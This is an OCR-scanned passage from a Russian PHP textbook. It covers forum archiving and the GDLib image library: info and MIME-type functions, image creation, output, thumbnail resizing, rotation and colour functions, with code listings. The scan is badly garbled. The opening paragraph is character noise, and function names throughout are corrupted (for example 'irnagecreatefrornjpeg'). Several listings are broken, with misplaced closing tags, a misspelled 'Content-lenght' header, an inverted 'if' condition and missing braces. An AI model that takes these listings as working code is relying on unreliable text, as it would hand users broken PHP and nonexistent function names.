·М)tOIl'f �' ШЫU1 С!оаnмrьп �Ф09JUl8 I'1.J:�(.аfO!'t'tu . tlC)CJМl:fO!'6,.ltМf. f'4;ш�rl1pj'.4lW1'(R"ЬрUl l8. 0ТJltN.:In' QkФii'lJtbноs. .. -:sA. u., .. tt t: lt)IПI!t.l 1) ""XIIIO O --: Itorw.ctmo"еи"ФoPYs.N 1З350 0 ПUPUМt;СНН Ь ts CJРХИU �� (J iх � а � � 3 ' ; . ; �t � Щ � ' ; lЫ � ��� ���� � ��;;��� ����� � :; ��, В1l f&'l'!9 : ...- •• : . ц: t"" . · "" """ = U ", ,, � l �� } :! ! ; Ф-�\1I�J.· Рис. 27.10. Архив и рование iJ .4
Гл ава 27. Форум: система администрирования 1079 Выходом из данной ситуации является раздел ение данных бол ьшого объема на две табл ицы: небольшой актуал ьной части тем и сообщений, предназна­ ченных для обсуждения, и большой архи вной части, обсуждения в кото рой не ведется, а новые порции данных появляются часто . Таки м образом, и но­ вые сообщения добавляются быстро, и поиск по всем проиндекси рованным данным осуществляется за разумное время. На странице архивирования имеется единственное текстовое поле, в котором находится текущее количество те м в архиве (рис. 27. 10). Архивирование осуществляется по первичному кл ючу табл ицы system_t heme s. Дл я того чтобы переместить новую порцию дан ных в архи в, необходимо ввести в тексто вое поле число, превосходящее уже находящееся в архиве коли чество те м, и нажать кнопку Переместить в а рхив. Все те мы, первичный ключ id_theme которых меньше введен ного числа, будут пере­ мещены из актуал ьного форума в архи в. Данная процедура может занять не­ которое время, поэтому рекомендуется переносить в архив не более 500 тем за раз.
ГЛАВА 28 Динамические изображения. Библиотека GDLib Библ иотека GDLib предназначена для создания динамических изображени й: программных изображений или наложения текста и граф ики на уже сущест­ вую щее изображение. ЗАМЕЧА НИЕ Официальный сайт библиотеки GDLib находится по адресу http://www. libgd.org/. По умолчанию расширение GDLib не подключено, для его подкл ючения необходимо снять комментарий напроти в стр оки extens ion=php_gd2 . dl l в ко нфигурационном файле рhр.iпi. Для подкл ю­ чения ехif-функций, возвращающих справочную информацию о файлах форматов JPEG и TIFF, необходимо также подключить библиотеки рhр_mЬstгiпg.dll и php_exif.dll. Все функции, которые необходимы дл я создания динам ических изображе­ ний, будут условно разбиты на восемь разделов: О информационные функци и; О функци и создания изображений; О функции сохранения и вывода изображений; О функци и преобразования изображений; О функции для работы с цветом; О функции рисования; О функции настройки рисования; О функции для работы с текстом.
Глава 28. Динамические изображения. библиотека GDLib 1081 ЗАМЕЧАНИЕ При работе с функциями GDLib следует учиты вать , что ко ординаты абсцисс Х и ординат У отсч иты ваются та к, как это принято в большинстве графиче­ ских систем (из левого верхнего угла), а не в декарто вой систе ме ко ординат {из левого нижнего угла). 28.1 . Информ ационные фун кции Информационные функции предоставляют информ ацию о текущей версии библиотеке GDLib, а таюке парам етр ы изображений. В табл . 28. 1 приводится список функций, относящихся К данной группе. Та блица 28. 1. Информа ционные функции библиотеки GDLib Фун кция Назначение gd_i nfo () Возвращает ассоциати вный массив с информа - цией об установленной библиотеке GD exif_imagetype Ч итает несколько первых байтов файла ($filename ) $filename и определяет формат изображения exif read data Ч итает заголовки файлов форматов JPEG и TIFF - - ($filename [, $sections и возвращает ассоциати вный массив со свойст- [, $arrays вами секций этого файла [, $thиmbnail ] ]]) exif thиmbnail Возвращает встроенные эскизы (уменьшенные ($filename [, &$width изображения) файлов форматов JPEG и TIFF [, &$he ight [, &$imagetyp e] ]]) getima g esize ($filename Возвращает размер в пикселах и тип файла [, &$imageinfo ] ) $filename , кроме того , может возвра щать до- полнител ьную информацию об изображении в дополнительном параметре $ima geinfo imagesx ($image ) Возвращает ширину изображения в пикселах. В качестве параметра $ima ge функция принима- ет дескриптор открытого изображения
1082 Часть 11. Создание сайта Та блица 28. 1 (о кончание) Фун кция Назн аче ние irnagesy ($irna ge ) Возвращает высоту изображения в пикселах. В качестве параметра $ irnage функция принима- ет дескриптор открытого изображения irnage_t ype_to_rnirne_t ype Определяет МIМЕ-ти пы дл я констант irnagetype , ($irna getype ) возвращаемых функциями getirnagesize (), exi f_r ead_data (), exif_thurnbna i l(), exi f_irnagetype () irnagetypes ( ) Возвращает битовое поле, соответствующее формата м изображений, кото рые поддерживают- ся текущей реализацией РНР и библиотеки GD. Возвращаемое битовое поле может содержать следующие биты : IMG_GIF I IMG_JPG IIMG_PNG I IMG_WBMP Рассмотрим более подробно наиболее часто используемые функции из табл. 28. 1 . 28.1 .1 . Те кущая версия библ иоте ки GDLib Функция gd_info () возвращает ассоциативным массив, элементы которого позволяют определить версию библ иоте ки, а также поддерживаемые форма­ ты . В листинге 28.1 демонстрируется вызов функции. Листинг 28.1 . Вызов функции gd_infо () <?php ?> $arr = gd_info (); echo "<pre>" ; print_r ($arr) ; echo "</pre> "; в качестве результата скрипт из листи нга 28. 1 может вернуть следующую информацию: Array [GD Ve rsion] => bundled (2 .0.28 cornpat ible )
Глава 28. Динамические из ображения. Библиотека GDLib [FreeType Suppo rt ] => 1 [FreeType Linkage ] => with [Т1ЫЬ Support ] = > 1 [GIF Read Support ] => 1 [GIF Create Support ] => 1 [JPG Support] => 1 [PNG Support] => 1 [WBMP Support ] => 1 [ХРМ Support ] => [ХВМ Support] => 1 freetype [JIS-mapped Japanese Font Suppo rt ] => 1083 Первый эл емент массива "GD Vеl's iоп" сообщает о том, что текущей является версия 2.0 .28. Элементы возвращаемого функцией gd_info () массива описы­ ваются в табл . 28.2. Таблица 28.2. Атрибуты и значения возвращаемого ассоциативного массива. Элемент Описание GD Veгsion Версия библиотеки GD Fгeetype Suppoгt Возвращает true, если установлена поддержка шрифтов Fгeetype Fгeetype Linkage Описывает, каким образом включена поддержка шрифтов Fre etype. Возможн ы следующие значения: 'with freetype ', 'wi th TTF library ' И 'wi th unknown li- brary ' . Этот параметр существует, тол ько есл и Freetype Support = true Т1 Lib Suppoгt Возвращает true, если включена поддержка шрифтов PostScгipt Ту ре1 GIF Read Suppoгt Возвращает true , есл и включена поддержка чтения фай- лов формата GIF GIF Cгeate Sup- Возвращает true, есл и включена возможность создания poгt изображений в формате GIF JPG Suppoгt Возвращает true, если включена поддержка формата JPEG PNG Suppoгt Возвращает true, если включена поддержка формата PNG
1084 Часть 11. Создание са йта Таблица 28.2 (окончание) Эл е мент Описание WBMP Support Возвращает true, если включена поддержка формата WBMP ХВМ Support Возвра щает true, есл и включена поддержка формата ХВМ JIS-mapped Japa- Возвращает true , есл и включена поддержка японских nese Font Support иероглифов ЗА МЕЧАНИЕ О параметрах библиотеки GDLib можно узнать та кже из отчета функции phpinfo (). 28.1 .2. Формат файла Определ ить формат файла позвол яет функция ехН_ irnagetype (), кото рая читает нескол ько первых байтов файла и определяет формат изображе ния. Есл и формат определен, то возвращается константа, соответствующая типу файла (табл . 28.3), в противноlVJ случае возвращается fa lse. Таблица 28.3 . Соответств ие констант идентификаторов форматов файлов Возвращаемое значение 1 2 3 4 5 6 7 8 9 Соответствующая значе нию ко нста нта IМAGETYPE GIF - IМAGETYPE JPEG IМAGETYPE PNG IМAGETYPE SWF IМAGETYPE PSD IМAGETYPE ВМР IМAGETYPE TIFF - - II IМAGETYPE TIFF ММ - :1:МAGE TYPE JPC
Гл ава 28. Динамические изобр ажения. библиотека GDLib 1085 Таблица 28.3 (окончание) Возвращаемое Соответствующая зна чению ко нста нта значение 10 IMAGE TYPE JP2 11 lМAGE TYPE JPX - 12 lМAGE TYPE JB 2 - 13 IMAGE TYPE SWC - 14 lМAGETYPE IFF - 15 lМAGETYPE WBMP - 16 lМAGE TYPE ХВМ - 28.1 .3. Размер файла Для получения размера файла предназначена функция getima g esize (), кото­ рая принимает в качестве первого параметра путь к файлу (допускается в том числе и сете вой путь, начинающийся с I1ttp ://) и возвращает массив из четы­ рех эл ементов : ширину изображения, высоту изображения, одно из значений, представленных в табл . 28.3' 1 и строку формата " width=x height=y " , которая может быть испол ьзована в HTML-Tere <IMG> (вывод изображе ний). Для изо­ бражений формата JPEG возвращается три дополн ител ьных эл емента : chane l, bits И mime . Эл емент chane l содержит значение 3 дЛ Я RGB­ изображений и 4 для eMYK-изображений; ы ts - кол ичество бит для каж­ дого из цвето в; mime возвращает МIМЕ-ти п файла, например, дЛЯ JPEG­ файл ов будет возвращена строка " ima ge /jpeg " . В листинге 28.2 демонстрир�ется испол ьзован ие функции getimagesize () применител ьно к JРЕG-изображению, которое выводится в окно брауз ера. Листинг 28.2 . Использование функции ge timagesize () <?php list ( $width , $height ) = getimage size ("P ICT007 3.JPG " ); echo "<img src=PICT0073 . JPG width=$width hei ght=$height>'''; ?> в листинге 28.2 размеры изображения определяются авто матически при по­ мощи функции getima ge size () И подставля ются в HTML-Ter <IMG >. В лис-
1086 Часть /1. Создание сайта тинге 28.3 предста влен альтернати вный вариант, в кото ром для указания размера изображений используется четвертый элемент массива, возвращае­ мого функцией getirnagesize () . Листи нг 28.3. Альтернати вный способ указания размера в HTML-Tere <IMG> <?php ?> list ( $width , $height , $type , $size) = getirnagesize ("PICTOO?3.JPG " ); echo "<irng src=PICT0073 . JPG $size >"; Как будет показано ниже, основная часть функций библиоте ки GDLib рабо­ тает с изображением по схеме, напоминающей схему работы с файлам и. Изображение открывается при помощи одной из функций откр ытия, кото рые возвращают дескриптор изображения . Этот дескри птор передается всем функция м, которые осуществляют манипул яции с изображением (при помо­ щи дескри пторов одно открытое изображение отл ичается от другого) . Посл е завершения всех операций изображе ние закрывается. При работе в тако м ре­ жиме более удобными являются функции irnagesx () и irnagesy ( ) , возвра­ щающие соответственно высоту и ширину изображения. Однако, в отличие от функции getirnagesize (), в качестве параметра эти функции принимают не имя файла, а дескриптор открытого изображения. 28.1 .4 . П олучение МIМЕ-типа файла Аббревиатура MIME дословно расшифровывается как Multiporpose Il1terl1et Mail Extel1 siol1s (Многоцелевые Расш ирения Эл ектронной Почты). Это рас­ ширение было введено дл я обозначения форматов файлов, которые прикреп­ ляются в качестве вложения к электронным письмам . В разных средах это позволяет авто матически подбирать приложения, которые способны адек­ ватно открыть такой файл . В настоящее время МIМЕ-типы используются не тол ько в почте, но и в Web­ среде . Так, при отправке любого документа с сервера МIМЕ-тип передается в НТТР-заголовке Content- Type. Это позволяет браузеру клиента правил ьно работать с текстом, НТМL-стран ицам и, графикой, музыкальными и видео­ файлам и. Например, для НТМL-страниц посылается МIМЕ-тип text /htrnl, который сообщает браузеру, что ему пересылается НТМL-страница для ин­ те рпретации. Однако есл и послать МIМЕ-тип text /plain, соответствующий
Глава 28. Динамические из ображения. Библиотека GDLib 1087 обычному тексту, браузер вместо интерпретации отобразит НТМL-код стра­ ницы как есть . Строка с МIМЕ-типом состоит из двух часте й: идентификатора типа и иде н­ тификатора · подтипа, разделенных косой чертой /. Так для текстовой инфор­ мации идентификатор типа принимает значение text, а идентиф икатор под­ типа может принимать два значения: html и plain. Для изображений идентификатор типа принимает значение ima ge, а идентификатор подтипа расшифровывает формат файла: D ima ge /gif - изображен ие в формате GIF; D image/jpeg - изображение в формате JPEG; D image/png - изображение в формате PNG; ит. п. Запоминать значения МIМЕ-ти пов необязател ьно, их всегда можно получ ить авто матически. Функция image_t ype_t o_mime_t yp e () принимает в качестве параметра значение константы из табл . 28.3 и возвращает соответствующий ей МIМЕ-ти п (листинг 28.4). Листинг 28.4 . Получение МIМЕ-типа изображения <?php ?> list ( $width, $height , $type ) = getimagesize ( "PICT0073.JPG " ); echo image_type_to_mime_type ($t yp e) ; // image /jpeg При использовании функции get imagesize () для получения МIМЕ-типа можно воспользоваться элементом mime возвращаемого массива (лис­ тинг 28.5). Листинг 28.5 . Получен ие МIМЕ-типа изображения с помощью элемента mз.mе <?php ?> в $arr = getimage size ( "PICT0073 . JPG " ); echo $arr [ 'mime' ]; // image /jpeg таБЛ. 28.4 приводится соответствие принимаемых функцией ima ge_t ype_t o_mime_t yp e () значений и возвращаемых ею МIМЕ-типов.
1088 Часть 11. Создание сайта Та блица 28.4. Соответств ие констант GDLib и М/МЕ-типов Ко нстанта lМAGETYPE GIF - lМAGETYPE JPEG - IMAGETYPE PNG - lМAGETYPE SWF - lМAGETYPE PSD - lМAGETYPE ВМР - IMAGETYPE TIFF II - - lМAGETYPE TIFF мм - - lМAGETYPE JPC - lМAGETYPE JP2 - IMAGETYPE JPX - lМAGETYPE JB2 - lМAGETYPE SWC - lМAGETYPE IFF - IMAGETYPE WBMP lМAGE TYPE ХВМ - Числовое значение МIМЕ-ти п 1 image/g if 2 image/j peg 3 image/png 4 application/x-shockwave-fl ash 5 image/psd 6 image/bmp 7 image/tiff 8 image/tiff 9 applicatio n/octet-stream 10 image/j p2 11 application/octet-stream 12 application/octet-stream 13 application/x-shockwave-fl ash 14 imageliff 15 image/v nd. wa p.wbmp 16 image/x bm МIМЕ-типы часто испол ьзуются для отп равки изображений в среде Web. В листинге 28.6 приводится скрипт, передающий изображение в окно браузе­ ра без использования HTML-Tera <IMG> . Есл и перед тел ом изображения брау­ зеру не отправить НТТР-заголовок Content-type С соответствующим MIME­ типом вместо изображения, браузер попытается вывести бинарное содержи­ мое файла. Листинг 28.6. ВЫВОД изображения без использования HTML-Tera <IMG> <?php list ( $width , $height , $type ) = gеt irnagе sizе ("Р IСТОО7З .JРG ") i // Отправляем НТ ТР- заголовок Content-type
Гл ава 28. Динамические из ображения. Библиотека GDLib 1089 ?> $heade r = "Content-type : ".image_type_t o_mime_t ype ($type) ; header ( $header) ; // Отправляем размер файла $header = "Content-lenght : ".filеsizе ("Р IСТОО7З.JРG " ); heade r ($header) ; // Отправляем содержимое файла echo filе_gеt_сопtепts ("Р IСТОО7З . JРG " ); 28.2. Фун кции созда ния изоб ражений Для работы с изображениями средствами библиотеки GDLib испол ьзуются функции создан ия изображений, которые создают либо новое изображение, либо изображение на основе существующего . При этом само изображение сохраняется в оперативной памяти, а функции возвращают дескриптор, кото­ рый используется другими функциями дл я доступа к изображению. После завершения работы с изображе нием оно либо сохраняется на жестки й диск, либо непосредственно выводится в окно брауз ера. В табл . 28.5 при водятся список функций, относящихся К дан ной группе. ЗАМЕЧАНИЕ Большинство функций создания изображения возвращают дескриптор от­ крытого изображения. В случае неудачи возвращается пустая строка и вы­ водится соответствующее предупреждение в окно браузера. Если вывод предупреждений нежелател ен, его можно подавить , добавив перед функ­ цией символ @. Та блица 28. 5. Функц ии создания изображений Фун кция Описание imagecreate ($w idth , Создает пустое изображение, ограниченное $he.i ght ) 256 цветами, размерами $width на $height пикселов. Для созда ния полноцветных изображе - ний следует воспользоваться функцией ima g ecreatetruecolor () imagecreatetruecolor Создает пустое полноцветное изображение черно- ($w idth , $height ) го цвета размерами $width на $height пикселов
1090 Часть 11. Создание сайта Таблица 28.5 (пр одолже ние) Фун кция О писа ние ima gecreatefromj peg Создает изображение на основе JРЕG-файла ($filename ) $filename . В ка честве имени файла может ис- пользоваться сете вой путь , начинающийся с http:// imageinterlace ($image Для открытого JРЕG-изображения (дескриптор [, $interlace ] ) $image) включается ( interlace = 1) или выклю- чается (interlace = О) чересстрочное формиро- вание изображения. Параметр $interlace указы- вает, скол ько бит изображения должна вернуть функция imagecreatefromgif Создает изображение на основе GIF-файла ($filename ) $filename . В качестве имени файла может ис- пользоваться сетевой путь , начинающийся с http:// ima gecreatefrompng Создает изображение на основе РNG-файла ($filename ) $filename . В качестве имени файла может ис- пользоваться сетевой путь , начинающийся с http:// imagesave alpha Если $save flag = 1,для открытого PNG- ($ima ge , $save flag ) изображения $ image создается полноценный альфа-канал; в проти вном случае, если $save- flag = 2, I? качестве прозрачного может быть ус- та новлен тол ько один цвет изображения ima gecreatefromgd Создает изображение на основе GD-файла ($filename ) $filename . В качестве имени файла может ис- пользоваться сетевой путь , начинающийся с http:// imagecreatefromgd2 Создает изображение на основе GD2-файла ($fi lename ) $filename . В качестве имени файла может ис- пользоваться сете вой путь, начинающийся с http:// imagecreatefromgd2part Создает изображение на основе файла ($fi lename , $х, $у, $filename , при это м за основу берется не все $width , $height ) изображение, а лишь прямоугольник, координаты левого верхнего угла которого определяются па- раметрами $х и $у, а ширина и высота соответст- венно параметрами $width и $height imagecreatefroms tring С оздает изображения из потока , передаваемого ($str) В строке $str
Глава 28. Динамические изображения. библиотека GDLib 1091 Табл ица 28.5 (окончание) Фун кция О писа ние irna ge с reatefrornwbrnp Создает изображение на основе WВМР-файла ($fi lenarne ) $filenarne . В качестве имени файла может ис- пользоваться сете вой путь, начинающийся с http:// irna gecreatefrornxbrn Создает изображение на основе ХВМ-файла ($filenarne ) $filenarne . В качестве имени файла может ис- пользоваться сетевой путь , начинающийся с http:// irnagecreatefrornxprn Создает изображение на основе ХРМ-файла ($filenarne ) $filenarne . В качестве имени файла может ис- пользоваться сетевой путь , начинающийся с http:// irnagede stro y ($irna ge ) Принимает в качестве параметра $irnage дескрип- тор изображения и освобождает занятую им память в листинге 28.7 демонстрируется создание изображения при помощи функ­ ции irna gecreatetrue color () с последующим уничтожением при помощи функции irna gedestroy ( ) . Листинг 28.7 . Созда ние и уничтожение изображения <?php ?> 11 Создаем пустое изображение размером 11 100х100 пикселов $irnage = irnagecreatetruecolor (100, 100) ; if (!$irnage ) 11 Если изображение успешно создано, 11 уничтожаем его irnagedestroy ($irnage) ; в листинге 28.8 приводится скрипт, создающий изображение на основе уже существующего lPEG-фаЙла. ЗАМЕЧАНИЕ Важно отметить , что функция irnagedestroy () уничтожает не файл на же­ стком диске РIСТОО7З.JРG, а его образ в операти вной памяти .
1092 Часть 11. Создание сайта Листинг 28.8 . Соэдание изображения на о снове существующего JРЕG-файла <?php ?> // Создаем изображение на основе JРЕG- файла $irnage = irnagecreatefrornj peg ("P ICT0073 . JPG " ); if( !$irnage) // Если изображение успешно создано , // уничтожаем его irna gedestroy ($irnage) ; 28.3 . Функции сохранения и вывода изоб раже ний Да нная груп па функций позвол яет сохранять открытые файлы на жесткий диск или выводить их в окно браузера. В табл . 28.6 приводятся список функ­ ций, относящихся К данной группе. ЗА МЕЧА НИЕ Функции данной группы в качестве первого параметра принимают дескрип­ тор открытого изображения $irna ge. Если больше никаких параметров не переда ется , изображение выводится непосредственно в окно браузера . Если же в качестве второго параметра $filenarne указывается путь к фай­ лу, изображение сохраняется на жестком диске . В случае успеха функци и возвращают true, В случае неудачи - fal se. Таблица 28. 6. Функции сохр анения и вывода изображений Функция Описание irna ge jpeg ($irna ge Возвра щает или сохраняет в файл $filenarne изо- [, $filenarne [, бражение в формате JPEG со степенью сжатия $qu ality] ] ) $quality. Параметр $qu ality может принимать значения от О до 100 (по умолчанию 75), что соответ- ствует максимальному и минимальному сжати ю. При максимальной степени сжатия качество изображения будет минимально
Глава 28. Динамические из ображения. Библиотека GDLib 1093 Таблuца 28. б (окончание) Фун кция Описание irnagegif ($irna ge [ , Возвращает или сохраняет в файл $' filenarne изо- $filenarne ] ) бражение в формате GIF irnagepng ($irna ge [, Возвращает или сохраняет в файл $filenarne изо- $filenarne ] ) бражение в формате PNG irnagegd ($irna ge [, Возвращает или сохраняет в файл $filenarne изо- $ filenarne ] ) бражение в формате GD irnagegd2 ($irna ge [, Возвращает или сохраняет в файл $filenarne изо- $filenarne ] ) бражение в формате GD2 irna gexbrn ($irnage , Возвращает или сохраняет в файл $filenarne изо- $filenarne [ , $fore- бражение в формате ХВМ. Аргумент $foreground ground ] ) содержит иде нтификато р цвета переднего плана (по умолчанию - черный) irnagewbrnp ($irna ge Возвращает или сохраняет в файл $filenarne изо- [ , $filenarne [ , бражение в формате WBMP. Аргумент $foreground $foreground ] ] ) содержит идентификато р цвета переднего плана (по умолчанию - черный) irnage2wbrnp ($irna ge Возвращает или сохраняет в файл $filenarne изо- [, $filenarne ] ) бражение в формате WBMP jpeg2wbrnp ($jpeg- Конвертирует JРЕG-файл $ j pegnarne В файл WBMP- nаrnе , $wbrnpnarne , формата $wbrnpnarne . Параметры $height И $width $height , $width, определяют высоту и ширину ко нечного WBMP- $threshold) изображения png2wbrnp ( $ pngnarne , Ко нвертирует РNG-файл $pngnarne в файл WBMP- $wbrnpnarne , $height , формата $wbrnpnarne . Параметры $height И $width $width, $threshold) определяют высоту и ширину ко нечного WBMP- изображения При выводе изображения в окно брауз ера при помощи функций из табл . 28.6 следует помнить, что перед отправкой бинарных дан ных необходимо сооб­ щить браузеру МIМЕ-тип изображения. В листи нге 28.9 демонстрируется вывод в окно браузера JРЕG-изображения.
1094 Часть 11. Создание са йта ЗАМЕЧАНИЕ Для созда ния файлов в формате pгog гessive JPEG следует включ ить че­ ресстрочное созда ние изображений функцией ima geinterlace () . Листинг 28.9. ВЫВОД JРЕG-изображения <?php ?> // Создаем изображение на основе JРЕG-файла $image = imagecreate fromj peg ("P ICT007 3.JPG " ); if ($ima ge ) // Отправляем НТТ Р-заголовок Content-type header ("Content-type : image /jpeg" ) ; // Выводим изображение в браузер imagej peg ($image) ; // Уничтожаем изображение в памяти imagede stroy ($image) ; Следует учитывать, что документ не может содержать сразу несколько изо­ бражений. Попытка отправить НТТР-заголовки уже после вывода тела доку­ мента приведет к сообщению Warning: Cannot modify header information - headers already sent Ьу (Предупреждение: НТТР-заголовки не могут быть изменены, так как они уже отп равлены). Поэтому при использован ии биб­ лиотеки GDLib скрипт не долже н выводить ничего, кроме изображений. Если на странице необходимо вывести нескол ько динамических изображений, следует обратиться к HTML-Tery <IMG>. 28.4. Функции преоб разования изображений Дан ная группа функций осуществляет изменение размера изображений, по­ ворот и т. п . В табл . 28.7 приводятся списо к функций, относящихся К дан ной группе.
Глава 28. Динамические изображения. Библиотека GDLib 1095 ЗАМЕЧАНИЕ Ч асть функций данной группы принимают два дескриптора открытых изо­ бражений: источ ника $src_im и конечного изображения $dst im. Та блица 28. 7. Функц ии лр еобразования изображений Фун кция Описание imagecopy ($dst im, Копирует область изображения $ s rc_im на изображе- $src im, $dst х-; ние $dst_im. Верхний левый угол ко пируемой области $dst:: :: y, $src х, $src_y , $src:: :: w, находится в точке с координатами $src_x, $src_y. $src_h ) Параметры $ s rc_w И $ s rc�h определяют ширину и высоту ко пируемой области соответственно. С ко пиро- ванная область помещается на изображение $dst im - в точку с координатами $ds t_x , $dst_y imagecopyme rge Копирует область изображения $src_im и объеди- ($ds t im, $src im, няет ее с изображением $ds t_im. При это м можно $dst х, $ds t_y-; $src-x, $src_y , задать степень прозрачности наклады ваемого изо- $src:: :: w, $src_h , $pct ) бражения при помощи параметра $pct, который принимает значения в диапазоне от О до 100 . При значении равном О накладываемое изображение становится полностью прозрачным. При pct равном 100 функция работает аналогично функци и imagecopy ( ) . Остал ьные параметры функции идентичны параметра м функци и imagecopy ( ) imagecopyme rgegray Функция аналогична функции imagecopyme rge (), ($dst im, $src im, однако при со вмещении областей сохра няются от- $dst х, $dst у-; $src - x, - тенки изображения-источ ника $ s rc _ im. С охра нение $src у, $src :: :: w, $src:: :: h, $pct ) оттенков происходит вследствие удаления цветовой информации из совмещаемых пикселов изображе- ния-назначения $dst_im AO операции совмещения imagecopyresamp led Копирует прямоугол ьную область изображения- ($dst im, $src im, источника $ s rc_im на целевое изображение $ s rc_im. $dst х, $dst_y-; При копировании пикселы инте рполируются, чтобы $src - x, $src_y , $dst - w, $dst h, сохранить максимальную четкость и яркость. Если $src:: :: w, $src:: :: h) размеры исходной области и области назначения раз- личны, то происходит соответствующее сжатие или растяжение ко пируемой области . Параметры $src_x И $src_y определяют верхний правый угол прямоуголь- ника на изображении-источ нике . Параметры $ s rc_w И $ s rc_h соответственно ширину и высоту этого прямо- угольника . Аналогичные параметры с префиксом $dst определяют параметры прямоугол ьника на конечном изображении
1096 Фун кция imagecopyresized ($dst im, $src im, $dst х, $dst у-; $src - x, $src-y , $ds t-w, $ds t-h , $src:: :: w, $src:: :: h) imagerotate ($src im, $ang1e, $bgd_co1or) imagefi1ter ($src_im , $filtertype [, $args ] ) Часть 11. Создание сайта Таблица 28. 7 (окончан ие) Описание Функция аналогична функции imagecopyresamp 1ed ( ) , но при копировании не происходит инте рполяции ко пируемых пикселов для сохранения четкости и яркости Осуществляет поворот изображения $ s rc_ im на угол $ang1e, заданный в градусах. В аргументе $bgd_co1or передается идентификатор фонового цвета дл я зал ивки пустых областей , которые будут получены в процессе поворота изображения Применяет фильтр к I(1зображению $src_im 28.4 .1 . Создан ие уменьшен ной коп ии изображения Оформим процедуру уменьшения размера изображения в виде отдел ьной функции resizeimg () (листинг 28. 10). Функция будет принимать четы ре па­ раметра: re sizeimg ($fi1ename , $sma11ima ge , $w, $h) Параметр $filename задает путь к исходному файлу, который будет подвер­ гаться сжатию; $sma1limage - путь к уменьшенной ко пии изображения; $w и $h - ширину и высоту уменьшенного изображения. Листинг 28.10. Функция изменения размера изображения <?php function resizeimg ($fi 1ename , $sma 11image , $w, $h) // 1. Коррекция параметров $w и $h // определим коэффициент сжатия изображения $ratio = $w / $h; // Получим раэмеры исходного иэображения 1ist ( $width, $height ) = getimagesize ($fi1enarne) ; // Если размеры меньше , то масштабирования не нужно if (($width < $w) && ($height < $h) )
Глава 28. Динамические изобр ажения. Библиотека GDLib ?> сору ($filename , $smallimage ); return true ; // Получаем коэффициент сжатия исходного изображения $src_ratio = $width/ $height ; // Вычисляем размеры умень шенной копии , чтобы // при масштабировании сохранились // пропорции исходного изображения if ($ratio < $src_ratio ) $h = $w/$src_r atio ; else $w = $h*$src_ratio ; // 2. Создание умень шенной копии изображения // Создаем пустое изображение // размером $w х $h пикселов $dest_img = imagecreatetruecolor ($w, $h) ; // Открываем файл , который будет подвергать ся сжатию $src_img = imagecreatefromjpeg ($filename) ; // Масштабируем изображение imagecopyre sampled ($dest_img , $src_img , О, О, О, О, $w, $h, $width , $height ) ; // Сохраняем уменьшенную копию в файл imagejpeg ($dest_img , $sma llimage ); // Чистим память от созданных изображений imagedestroy ($dest_img) ; imagedestroy ($src_img) ; return true ; 1097
1098 Часть 11. Создание са йта Первая часть функции посвящена ко ррекции входных параметров $w и $ h, задающих ширину и высоту уменьшенного изображения . Это необходи м о для то го, чтобы изображение не было искаже но преобразованием . Вторая часть функции предназначена дл я создания уменьшенной копии $srnallirnage из исходного изображения $filenarne . Уменьшенное изображение создается при помощи функции irnagecreatetruecolor (), кото рая возвращает деск­ риптор $dest_irng . Дес криптор исходного изображения $src_irng открывает­ ся при помощи функции irna gecreatefrornj peg (). После этого исходное изо­ браже ние переносится на уменьшенную ко пию при помощи функции irnagecopyres arnp l ed (). 28.4 .2. П оворот и зоб ражения Для поворота изображения удобно воспользоваться функцией irnagerotate () (листинг 28. 1 1). ЗА МЕЧАНИЕ Трети й параметр функции irnagerotate () требует задания цвета . Функци и для формирования цвета подробно обсуждаются в разделе 28. 5. Можно было передать в качестве этого параметра значение О, од нако в этом слу­ чае для фонового цвета был бы использован цвет по умолчанию - черный, в то время как нам необходим белый. Листинг 28.1 1. Поворот изображен ия при помощи фун кции imagerotate О <?php // Создаем изображение на основе JРЕG-файла $ima ge = irnagecreatefrornj peg ("irnage . jpg" ) ; if ($ima ge ) { // Задаем белый цвет $white = irnagecolorallocate ($irnage , 255, 255, 255) ; // Осуще ствляем поворот изображения // на 45 градусов $rotate = imagerotate ($image , 45, $white ); // Отправляем НТТ Р-заголовок Content-type hеаdеr ("Сопtепt -tуре : image /jpeg" ); // Выводим изображение в браузер ima gejpeg ($rotate) ;
Глава 28. Динамические изображения. Библиотека GDLib 1099 ?> 11 Уничтожаем изображения в памяти irnagede stroy ($irnage) ; irnagedestroy ($rotate) ; Результатом работы скрипта из листи нга 28.1 1 является новое изображе ние, сформированное поворото м старого изображе ния на 45 градусов (рис. 28. 1). Рис. 28.1 . Поворот изображения на 45 градусов 28.5 . Функции ДЛЯ работы с цветом Дан ная группа функций позволяет работать с цветам и: получать и ун ичто­ жать дескри птор цвета, испол ьзуемый для заливки, определять цвета отдель­ ных пикселов и т. п. В табл . 28.8 приводится список функций, относящихся К дан ной группе. ЗАМЕЧАНИЕ Как и большинство функций библиотеки GDLib, функции да нной группы принимают в качестве первого параметра дескриптор открытого изображе­ ния $irna ge.
1100 Часть 11. Создание сайта При работе с цвето м используется RG В-представл ение: все цвета получаются смешением красного ( $red) , зеленого ( .$green) и синего ( $Ыие) цветов. Каж ­ дый из параметров может принимать значения от О (полное отсутствие цвета) до 255 (100% присутствие цвета) , обеспечивая тем сам ым возможность соз­ дан ия 16 777 216 оттенков. Если имя функции заканчивается суффикс ом alpha, функция поддерживает работу с прозрачностью, которая задается па­ раметром $alpha, способным принимать значения от О (полная непрозрач­ ность) до 127 (полная прозрачн ость). Таблица 28.8 . Функции для работы с цветом Фун кция Описание irna geistruecolor Определяет, является ли изображение $ irnage ($irna ge ) полноцветным irna getru ecolortopalette Ко нверти рует полноцветное изображение в изо- ($irna ge , $dither, бражение с ограниченной цветовой палитрой. $ncolors ) Есл и параметр $di ther принимает значение true, осуществляется размытие (смешение двух цветов для получения третьего), в противном случае, есл и параметр принимает значение fal se, размытия не происходит. Параметр $ncolors определяет количество цветов в ко- нечном изображении irna gecolorallocate Возвращает дескриптор цвета , предста вленного ($irna ge , $red, $green , RGВ-ко мпонентами: $red (красный), $green (зе- $Ыие ) леный) и $Ыие (синий) irna gecolorallocatealpha Функция аналогична irnage colorallocate (), ($irna ge , $red, $green , од нако позволяет в четверто м параметре $alpha $Ыие , $alpha ) задать прозрачность irnagecolorde allocate Уничтожает дескриптор цвета , выделенный ра- ($irna ge , $color ) нее функцией irna gecolorallocate () или irnagecolorallocatealpha () irna gecolorat ($irna ge , Возвращает дескриптор цвета для пиксела изо- $х, $у) бражения в точке с координатами $х и $у irna gecolorsforindex Для дескриптора цвета $ index возвращает ассо- ($irnage , $index) циативный массив с кл ючами ' red' , ' green' , ' Ыие ' , соответствующих долям красного, зеленого и синего цветов
